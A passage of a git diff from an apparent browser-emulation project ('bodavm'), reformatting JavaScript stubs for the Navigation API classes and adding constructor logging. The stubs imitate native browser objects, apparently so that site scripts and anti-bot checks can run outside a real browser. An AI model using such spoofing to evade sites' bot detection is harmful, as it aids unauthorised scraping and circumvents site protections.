undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "canTransition", { + configurable: true, + enumerable: true, + get: function canTransition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canTransition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "canIntercept", { + configurable: true, + enumerable: true, + get: function canIntercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canIntercept_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "userInitiated", { + configurable: true, + enumerable: true, + get: function userInitiated() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "userInitiated_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "hashChange", { + configurable: true, + enumerable: true, + get: function hashChange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "hashChange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "formData", { + configurable: true, + enumerable: true, + get: function formData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "formData_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "downloadRequest", { + configurable: true, + enumerable: true, + get: function downloadRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "downloadRequest_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "info", { + configurable: true, + enumerable: true, + get: function info() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "info_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "intercept", { + configurable: true, + enumerable: true, + writable: true, + value: function intercept() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "intercept", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigateEvent', "scroll", { + configurable: true, + enumerable: true, + writable: true, + value: function scroll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "scroll", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Navigation.js b/env_xbb_lastest_jsdom/env/Navigation.js index 0411837f..22870248 100644 --- a/env_xbb_lastest_jsdom/env/Navigation.js +++ b/env_xbb_lastest_jsdom/env/Navigation.js @@ -1,25 +1,154 @@ -// Navigation对象 -bodavm.memory.globalobj['Navigation'] = function Navigation(){if (!(this instanceof Navigation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigation'], "Navigation"); -bodavm.memory.globalobj['Navigation'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Navigation'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Navigation', "currentEntry", {configurable:true, enumerable:true, get:function currentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "currentEntry_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "transition", {configurable:true, enumerable:true, get:function transition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "transition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "canGoBack", {configurable:true, enumerable:true, get:function canGoBack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoBack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "canGoForward", {configurable:true, enumerable:true, get:function canGoForward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoForward_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigate", {configurable:true, enumerable:true, get:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_get", arguments)}, set:function onnavigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigatesuccess", {configurable:true, enumerable:true, get:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_get", arguments)}, set:function onnavigatesuccess (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "onnavigateerror", {configurable:true, enumerable:true, get:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_get", arguments)}, set:function onnavigateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "oncurrententrychange", {configurable:true, enumerable:true, get:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_get", arguments)}, set:function oncurrententrychange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "back", {configurable:true, enumerable:true, writable:true, value:function back (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "back", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "forward", {configurable:true, enumerable:true, writable:true, value:function forward (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "forward", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "navigate", {configurable:true, enumerable:true, writable:true, value:function navigate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "navigate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "reload", {configurable:true, enumerable:true, writable:true, value:function reload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "reload", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "traverseTo", {configurable:true, enumerable:true, writable:true, value:function traverseTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "traverseTo", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigation', "updateCurrentEntry", {configurable:true, enumerable:true, writable:true, value:function updateCurrentEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "updateCurrentEntry", arguments)}},'prototype'); -// navigation对象 -bodavm.memory.globalobj['navigation'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['navigation'].__proto__=bodavm.memory.globalobj['Navigation'].prototype; +// Navigation对象 + +bodavm.memory.globalobj['Navigation'] = function Navigation() { + console.log_copy('Navigation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Navigation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigation'], "Navigation"); +bodavm.memory.globalobj['Navigation'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Navigation'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Navigation', "currentEntry", { + configurable: true, + enumerable: true, + get: function currentEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "currentEntry_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "transition", { + configurable: true, + enumerable: true, + get: function transition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "transition_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoBack", { + configurable: true, + enumerable: true, + get: function canGoBack() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoBack_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "canGoForward", { + configurable: true, + enumerable: true, + get: function canGoForward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "canGoForward_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigate", { + configurable: true, + enumerable: true, + get: function onnavigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_get", arguments); + }, + set: function onnavigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigatesuccess", { + configurable: true, + enumerable: true, + get: function onnavigatesuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_get", arguments); + }, + set: function onnavigatesuccess() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigatesuccess_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "onnavigateerror", { + configurable: true, + enumerable: true, + get: function onnavigateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_get", arguments); + }, + set: function onnavigateerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "onnavigateerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "oncurrententrychange", { + configurable: true, + enumerable: true, + get: function oncurrententrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_get", arguments); + }, + set: function oncurrententrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "oncurrententrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "back", { + configurable: true, + enumerable: true, + writable: true, + value: function back() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "back", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "forward", { + configurable: true, + enumerable: true, + writable: true, + value: function forward() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "forward", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "navigate", { + configurable: true, + enumerable: true, + writable: true, + value: function navigate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "navigate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "reload", { + configurable: true, + enumerable: true, + writable: true, + value: function reload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "reload", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "traverseTo", { + configurable: true, + enumerable: true, + writable: true, + value: function traverseTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "traverseTo", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Navigation', "updateCurrentEntry", { + configurable: true, + enumerable: true, + writable: true, + value: function updateCurrentEntry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigation'].prototype, "Navigation", "updateCurrentEntry", arguments); + } +}, 'prototype'); + +// navigation对象 + +bodavm.memory.globalobj['navigation'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['navigation'].__proto__ = bodavm.memory.globalobj['Navigation'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigationCurrentEntryChangeEvent.js b/env_xbb_lastest_jsdom/env/NavigationCurrentEntryChangeEvent.js index 1f33777b..1af0481b 100644 --- a/env_xbb_lastest_jsdom/env/NavigationCurrentEntryChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/NavigationCurrentEntryChangeEvent.js @@ -1,7 +1,35 @@ -// NavigationCurrentEntryChangeEvent对象 -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'] = function NavigationCurrentEntryChangeEvent(){if (!(this instanceof NavigationCurrentEntryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigationCurrentEntryChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'], "NavigationCurrentEntryChangeEvent"); -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "from", {configurable:true, enumerable:true, get:function from (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "from_get", arguments)}, set:undefined},'prototype'); +// NavigationCurrentEntryChangeEvent对象 + +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'] = function NavigationCurrentEntryChangeEvent() { + console.log_copy('NavigationCurrentEntryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationCurrentEntryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigationCurrentEntryChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'], "NavigationCurrentEntryChangeEvent"); +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "navigationType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "from", { + configurable: true, + enumerable: true, + get: function from() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "from_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigationDestination.js b/env_xbb_lastest_jsdom/env/NavigationDestination.js index a4c00d29..1833dc3e 100644 --- a/env_xbb_lastest_jsdom/env/NavigationDestination.js +++ b/env_xbb_lastest_jsdom/env/NavigationDestination.js @@ -1,9 +1,65 @@ -// NavigationDestination对象 -bodavm.memory.globalobj['NavigationDestination'] = function NavigationDestination(){if (!(this instanceof NavigationDestination)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationDestination'], "NavigationDestination"); -bodavm.toolsFunc.defineProperty('NavigationDestination', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "sameDocument", {configurable:true, enumerable:true, get:function sameDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "sameDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "getState", arguments)}},'prototype'); +// NavigationDestination对象 + +bodavm.memory.globalobj['NavigationDestination'] = function NavigationDestination() { + console.log_copy('NavigationDestination 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationDestination)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationDestination'], "NavigationDestination"); +bodavm.toolsFunc.defineProperty('NavigationDestination', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "sameDocument", { + configurable: true, + enumerable: true, + get: function sameDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "sameDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationDestination', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "getState", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigationHistoryEntry.js b/env_xbb_lastest_jsdom/env/NavigationHistoryEntry.js index dbcda700..c470ddbb 100644 --- a/env_xbb_lastest_jsdom/env/NavigationHistoryEntry.js +++ b/env_xbb_lastest_jsdom/env/NavigationHistoryEntry.js @@ -1,12 +1,77 @@ -// NavigationHistoryEntry对象 -bodavm.memory.globalobj['NavigationHistoryEntry'] = function NavigationHistoryEntry(){if (!(this instanceof NavigationHistoryEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationHistoryEntry'], "NavigationHistoryEntry"); -bodavm.memory.globalobj['NavigationHistoryEntry'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NavigationHistoryEntry'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "sameDocument", {configurable:true, enumerable:true, get:function sameDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "sameDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "ondispose", {configurable:true, enumerable:true, get:function ondispose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_get", arguments)}, set:function ondispose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "getState", arguments)}},'prototype'); +// NavigationHistoryEntry对象 + +bodavm.memory.globalobj['NavigationHistoryEntry'] = function NavigationHistoryEntry() { + console.log_copy('NavigationHistoryEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigationHistoryEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationHistoryEntry'], "NavigationHistoryEntry"); +bodavm.memory.globalobj['NavigationHistoryEntry'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['NavigationHistoryEntry'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "index_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "sameDocument", { + configurable: true, + enumerable: true, + get: function sameDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "sameDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "ondispose", { + configurable: true, + enumerable: true, + get: function ondispose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_get", arguments); + }, + set: function ondispose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "getState", { + configurable: true, + enumerable: true, + writable: true, + value: function getState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "getState", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigationPreloadManager.js b/env_xbb_lastest_jsdom/env/NavigationPreloadManager.js index 454f379e..bfea9d60 100644 --- a/env_xbb_lastest_jsdom/env/NavigationPreloadManager.js +++ b/env_xbb_lastest_jsdom/env/NavigationPreloadManager.js @@ -1,7 +1,49 @@ -// NavigationPreloadManager对象 -bodavm.memory.globalobj['NavigationPreloadManager'] = function NavigationPreloadManager(){if (!(this instanceof NavigationPreloadManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationPreloadManager'], "NavigationPreloadManager"); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "getState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "setHeaderValue", {configurable:true, enumerable:true, writable:true, value:function setHeaderValue (){return bodavm.toolsFunc.dispatch(this, 